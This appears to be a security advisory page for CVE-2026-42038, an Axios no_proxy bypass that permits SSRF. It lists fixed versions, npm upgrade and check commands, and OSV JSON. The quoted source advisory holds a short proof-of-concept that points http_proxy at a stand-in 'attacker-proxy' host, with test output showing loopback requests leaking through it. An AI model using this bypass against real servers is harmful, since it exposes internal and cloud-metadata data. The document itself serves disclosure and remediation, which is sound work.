CVE-2026-42038: Axios No_proxy Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-m7pr-hjqh-92cm
CVSS 6.8
CWE-918
Published
Advisory Summary

CVE-2026-42038 is a MODERATE (CVSS 6.8) no_proxy bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Axios libraries in the npm ecosystem. The issue involves no_proxy bypass via ip alias allows ssrf. Remediation is available by upgrading affected packages to version 1.15.1, 0.31.1.

CVE-2026-42038 at a Glance

CVE Identifier CVE-2026-42038
GHSA Identifier GHSA-m7pr-hjqh-92cm
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Axios
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-42038

To remediate this vulnerability, upgrade all affected Axios dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

axios fixed: 1.15.1
npm install axios@1.15.1
axios fixed: 0.31.1
npm install axios@0.31.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls axios

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-42038, inspect your project dependencies using npm:

npm ls axios

Analyze the terminal output to locate any version of Axios in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.15.1), your application is affected.

Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Axios, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === āœ… Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ``` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

CVE-2026-42038 Affected Axios Versions

2 component(s)
Fixed Versions:
1.15.10.31.1
Product / Package Ecosystem Affected Versions Fixed Version
axios
npm
≥ 1.0.0
< 1.15.1
1.15.1
axios
npm
< 0.31.1
0.31.1

References

Frequently Asked Questions

What is CVE-2026-42038?
CVE-2026-42038 is a security vulnerability in Axios involving no_proxy bypass via IP alias allows SSRF under CWE-918: Server-Side Request Forgery (SSRF).
Which Axios versions are affected?
Affected versions include releases prior to 1.15.1, 0.31.1 across affected packages: axios.
What version fixes CVE-2026-42038?
Upgrading to 1.15.1, 0.31.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is axios affected?
Yes, axios is affected in releases prior to 1.15.1, 0.31.1. Upgrade your dependency to 1.15.1, 0.31.1 or later.
What is the CVSS score of CVE-2026-42038?
CVE-2026-42038 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-42038?
CVE-2026-42038 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-42038?
Run the dependency tree command: 'npm ls axios'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m7pr-hjqh-92cm",
  "modified" : "2026-05-05T00:40:17Z",
  "published" : "2026-05-05T00:40:17Z",
  "aliases" : [ "CVE-2026-42038" ],
  "summary" : "Axios: no_proxy bypass via IP alias allows SSRF",
  "details" : "The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching — it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = 'localhost';\nprocess.env.http_proxy = 'http://attacker-proxy:8888';\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....                     \n    process.env.http_proxy = 'http://127.0.0.1:8888';\n\n    console.log('=== Test 1: localhost (should bypass proxy) ===');\n    try {\n      await axios.get('http://localhost:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    console.log('');\n    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');\n    try {\n      await axios.get('http://127.0.0.1:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    fakeProxy.close();\n    internalServer.close();\n  });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\nāœ… Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n🚨 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n<img width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" />\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "axios"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.15.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "axios"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42038"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/axios/axios"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T00:40:17Z",
    "nvd_published_at" : "2026-04-24T18:16:30Z"
  }
}